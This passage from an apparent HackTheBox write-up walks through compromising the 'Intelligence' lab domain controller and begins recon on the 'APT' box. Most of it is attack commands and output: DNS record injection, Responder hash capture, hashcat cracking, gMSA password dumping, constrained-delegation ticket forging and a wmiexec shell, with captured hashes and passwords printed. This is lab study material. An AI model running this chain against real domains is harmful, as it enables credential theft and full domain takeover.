loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But even after putting the command together, it still threw an error. Building the command from scratch was a little beyond me. Modifying an existing command wasn&amp;rsquo;t easy either, but at least there was less work and less room for error.&lt;/p&gt;&#10;&lt;p&gt;I started reading the command documentation at &lt;a class="link" href="https://github.com/dirkjanm/krbrelayx" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx&lt;/a&gt;. After making some changes, the record was added successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py ldap://10.10.10.248:389 -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But after waiting forever, nothing happened. I kept reading the parameters and compared my command with the original one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 dnstool.py -u &amp;#39;intelligence.htb\Tiffany.Molina&amp;#39; -p &amp;#39;NewIntelligenceCorpUser9876&amp;#39; -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Maybe I shouldn&amp;rsquo;t have added the LDAP port. I simply put the IP at the end instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time it worked without any errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turns out a valid record has an IP after it. The one above came from my earlier command and has no IP, which probably means it wasn&amp;rsquo;t actually created successfully. I wasn&amp;rsquo;t sure whether having two identical domain names, one with an IP and one without, would cause an error, so I created another domain beginning with web.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I received the request, but why weren&amp;rsquo;t there any credentials? Maybe this wasn&amp;rsquo;t a real HTTP service. I tried starting a Flask server, and it could receive the request.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no credentials. I tried Wireshark too, but that didn&amp;rsquo;t help at all.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point I was truly out of ideas. I glanced at the write-up, which mentioned a tool called Responder, so I started looking up how to use it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Client : 10.10.10.248&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Username : intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Skipping previously captured hash for intelligence\Ted.Graves&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;NTLMv2 uses mode 5600, so I can call it directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ted.Graves:Mr.Teddy&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem there. Logging in directly was completely impossible, so I&amp;rsquo;ll use BloodHound to collect data remotely. I tried with the previous account, but it threw an error. Let&amp;rsquo;s see whether this account works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I searched Google and found that my parameters seemed to be wrong. I&amp;rsquo;d already identified the DC name as DC during recon, but it still gave me an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/gitblog_00797/article/details/142076858" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/gitblog_00797/article/details/142076858&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The payload in this post uses -ns to point to the DNS server.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After analyzing the results, I found two interesting points.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The current user is in the administrator group, but UAC restrictions mean commands run with the current user&amp;rsquo;s privileges by default. To get administrator privileges, I would need to run one of the following commands from the command line.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;runas /user:administrator cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec -i -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process cmd.exe -Verb RunAs&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The prerequisite is having a shell, so this path is a dead end.&lt;/p&gt;&#10;&lt;p&gt;The second point was a constrained-delegation service account named SVC_INT$.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I can use it to forge an administrator ST for a specific service. Now the path forward is clear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t retrieve its hash. I looked more closely at the graph and found a second edge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had no idea what this was. After searching Google, I found this post: &lt;a class="link" href="https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword" target="_blank" rel="noopener"&#10; &gt;https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users or groups who can read password for svc_int$:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; DC$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;gt; itsupport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:::8ee3b94d589dba78682293e1281bd394&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I paused here to understand how this method works.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following this logic:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only members of the &lt;a class="link" href="mailto:ITSUPPORT@INTELLIGENCE.HTB" &gt;ITSUPPORT@INTELLIGENCE.HTB&lt;/a&gt; group can use GMSA to retrieve the svc password. At first glance, the current user doesn&amp;rsquo;t have membership in that group.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least, that&amp;rsquo;s what this page shows. I searched again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There we go—the user is indeed a member of that group. It just wasn&amp;rsquo;t displayed earlier, which is why this works.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For some reason, this kept throwing an error. After thinking about it for a while, I realized constrained delegation should apply to one specific service, rather than whichever service I happen to want. I still needed to find the right one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u intelligence.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. Following the constrained-delegation tutorial, I first set the environment variable.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me longer than any other box I&amp;rsquo;ve worked on recently. I kept running into new concepts along the way, and by the end my head was spinning. I even slept for a while in the middle of it, and I had to check the write-up twice. If all the previous boxes taught the basic domain-controller penetration-testing workflow, this one brought all those earlier techniques together. It kept catching me off guard. While trying to reason through the attack chain, I was constantly testing ideas, making mistakes, and figuring out what had gone wrong. I have to say, this blog post has been a huge help during my recent study of domain penetration testing and serves as a great summary: &lt;a class="link" href="https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/&lt;/a&gt;. It only gives each topic a brief mention, but once you have an entry point, it&amp;rsquo;s easy to branch out by looking up the tools and services in more detail and learning how to exploit them. It covers every technique used above, and when I first started learning, I followed this exact process too.&lt;/p&gt;&#10;&lt;h2 id="20apt"&gt;&lt;a href="#20apt" class="header-anchor"&gt;&lt;/a&gt;20.APT&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, the difficulty is extremely high.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two names, I guess:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;W3layouts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTrack&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This site is using someone else&amp;rsquo;s template, and it says so explicitly. I needed to figure out which template it was. If there was no backend, that would mean there was no point spending more effort here. If a backend did exist, I could simply try downloading the source. Unfortunately, I couldn&amp;rsquo;t find one. I also tried JSFinder to look for any possible URLs, but it came back with nothing. In other words, this is a purely frontend website. There may still be something hidden, but directory brute-forcing is the only way to find it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ALL Find 8 links&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 8 | Find 0 URL in http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 7 | Find 0 URL in http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 6 | Find 0 URL in http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 4 | Find 0 URL in http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 3 | Find 0 URL in http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 2 | Find 0 URL in http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did find an email address with a domain in it:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 